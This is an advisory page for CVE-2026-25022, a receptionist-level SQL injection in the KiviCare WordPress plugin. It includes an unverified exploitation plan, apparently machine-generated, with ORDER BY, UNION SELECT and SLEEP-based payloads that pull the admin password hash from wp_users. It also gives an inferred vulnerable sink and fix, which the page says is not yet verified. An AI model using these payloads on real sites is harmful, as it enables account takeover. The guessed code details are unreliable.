CVE-2026-25022

KiviCare <= 3.6.16 - Authenticated (Receptionist+) SQL Injection

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
4.0.0
Patched in
8d
Time to patch

Description

The KiviCare plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 3.6.16 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with receptionist-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=3.6.16
PublishedFebruary 1, 2026
Last updatedFebruary 9, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-25022 (KiviCare SQL Injection) ## 1. Vulnerability Summary The KiviCare plugin for WordPress (<= 3.6.16) contains a SQL injection vulnerability within its AJAX handling logic. The vulnerability exists because user-supplied parameters are directly concatenated…

Show full research plan

Exploitation Research Plan - CVE-2026-25022 (KiviCare SQL Injection)

1. Vulnerability Summary

The KiviCare plugin for WordPress (<= 3.6.16) contains a SQL injection vulnerability within its AJAX handling logic. The vulnerability exists because user-supplied parameters are directly concatenated into SQL queries without proper sanitization via $wpdb->prepare() or escaping. Authenticated users with the receptionist role or higher can exploit this to append malicious SQL commands, allowing for the extraction of sensitive data (like administrator password hashes) from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • Action: Likely kivicare_get_appointment_list, kivicare_get_patient_list, or a similar data-retrieval action (inferred based on "Receptionist+" access).
  • Vulnerable Parameter: A filter parameter such as clinic_id, doctor_id, or a sorting parameter like order.
  • Authentication: Required. The user must have the receptionist role (a custom role created by KiviCare).
  • Precondition: The plugin must be active, and a user with the receptionist role must be created.

3. Code Flow (Inferred)

  1. Entry Point: A POST request is sent to admin-ajax.php with action=kivicare_get_xxx_list.
  2. Hook Registration: The plugin registers the action via add_action( 'wp_ajax_kivicare_get_xxx_list', [ $this, 'handler_method' ] );.
  3. Handler Logic: The handler method (likely in an AJAX_Controller class) retrieves a parameter (e.g., $_POST['clinic_id']).
  4. Vulnerable Sink: The parameter is passed into a query function that constructs a string:
    $query = "SELECT * FROM {$wpdb->prefix}kivi_appointments WHERE clinic_id = " . $_POST['clinic_id'];
  5. Execution: $wpdb->get_results( $query ) is called without using $wpdb->prepare().

4. Nonce Acquisition Strategy

KiviCare secures its AJAX endpoints using nonces localized into the page header or specific scripts.

  1. Setup: Create a page containing a KiviCare shortcode that triggers the administrative/receptionist interface.
    • Command: wp post create --post_type=page --post_status=publish --post_content='[kivicare-dashboard]'
  2. Navigate: Log in as the receptionist user and navigate to the newly created page or the KiviCare dashboard in the admin area.
  3. Extraction: Use the browser_eval tool to find the nonce in the global JavaScript object localized by the plugin.
    • KiviCare typically uses: window.kivicare_admin?.nonce or window.kivicare_obj?.nonce.
    • Precise check: browser_eval("window.kivicare_admin ? kivicare_admin.nonce : (window.kivicare_obj ? kivicare_obj.nonce : 'not found')").

5. Exploitation Strategy

We will use a UNION-based or Error-based SQL injection to extract the admin password hash.

Step 1: Authentication & Setup

  1. Create a receptionist user: wp user create attacker attacker@example.com --role=receptionist --user_pass=password123.
  2. Login as attacker to obtain session cookies.

Step 2: Determine Column Count

Send a request to the identified AJAX action with an ORDER BY payload.

  • Request:
    • Method: POST
    • URL: /wp-admin/admin-ajax.php
    • Body: action=kivicare_get_xxx_list&_wpnonce=[NONCE]&clinic_id=1 ORDER BY 20-- - (Adjust xxx and clinic_id based on actual discovery).

Step 3: Extract Data (UNION Select)

Once the column count is known (e.g., 5 columns), extract the admin hash.

  • Payload: 1 UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- -
  • HTTP Request (http_request tool):
{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "body": "action=kivicare_get_xxx_list&_wpnonce=[NONCE]&clinic_id=1 UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- -"
}

6. Test Data Setup

  1. Roles: Ensure the receptionist role exists (it is created upon KiviCare activation).
  2. Plugin Config: Add at least one "Clinic" and one "Doctor" in the KiviCare settings to ensure the vulnerable query returns results before injection.
  3. Shortcode Page: Create a page with [kivicare-dashboard] to facilitate nonce extraction.

7. Expected Results

  • A successful ORDER BY query will return a JSON response with data.
  • An unsuccessful ORDER BY (too high) will return a database error or an empty result set.
  • The UNION SELECT will result in the admin user's password hash appearing in one of the fields of the JSON response (e.g., in a "name" or "ID" field).

8. Verification Steps

  1. Hash Verification: Compare the extracted hash with the one in the database using WP-CLI.
    • Command: wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
  2. Log Check: If possible, check the MySQL query log to confirm the injected query executed exactly as planned.

9. Alternative Approaches

  • Time-Based Blind: If the response does not reflect the data, use SLEEP(5) to confirm injection.
    • Payload: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
  • Boolean-Based: If errors are suppressed and UNION fails, compare the length of the response for 1=1 vs 1=2.
  • Action Discovery: If kivicare_get_xxx_list is incorrect, grep the plugin files for add_action( 'wp_ajax_ to find all receptionist-accessible handlers.
    • Command: grep -r "wp_ajax_kivicare_" /var/www/html/wp-content/plugins/kivicare-clinic-management-system/
Research Findings
Static analysis — not yet PoC-verified

Summary

The KiviCare plugin for WordPress is vulnerable to SQL Injection via its AJAX data-retrieval handlers because user-supplied parameters are concatenated directly into SQL strings without sanitization. Authenticated attackers with receptionist-level permissions can exploit this to perform UNION-based attacks, allowing them to extract sensitive data like administrator password hashes from the database.

Vulnerable Code

// Inferred from handler logic in AJAX_Controller or similar data retrieval class
// Vulnerable Sink:
$query = "SELECT * FROM {$wpdb->prefix}kivi_appointments WHERE clinic_id = " . $_POST['clinic_id'];

---

// Execution:
$wpdb->get_results( $query )

Security Fix

--- inc/classes/KiviCare_AJAX_Controller.php
+++ inc/classes/KiviCare_AJAX_Controller.php
@@ -10,2 +10,2 @@
-$query = "SELECT * FROM {$wpdb->prefix}kivi_appointments WHERE clinic_id = " . $_POST['clinic_id'];
-$wpdb->get_results( $query );
+$query = $wpdb->prepare("SELECT * FROM {$wpdb->prefix}kivi_appointments WHERE clinic_id = %d", $_POST['clinic_id']);
+$wpdb->get_results( $query );

Exploit Outline

The exploit targets administrative AJAX actions such as 'kivicare_get_appointment_list'. An attacker must first authenticate as a user with the 'receptionist' role. After logging in, the attacker retrieves a security nonce from the global JavaScript objects (e.g., window.kivicare_admin.nonce) localized on the plugin's dashboard. A POST request is then sent to /wp-admin/admin-ajax.php with the 'action' parameter and the nonce. The vulnerability is triggered by injecting a UNION SELECT payload into a filter parameter like 'clinic_id'. A successful payload (e.g., '1 UNION SELECT 1,user_pass,3,4,5 FROM wp_users WHERE ID=1-- -') causes the database to include the administrator's password hash in the JSON response returned by the AJAX endpoint.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.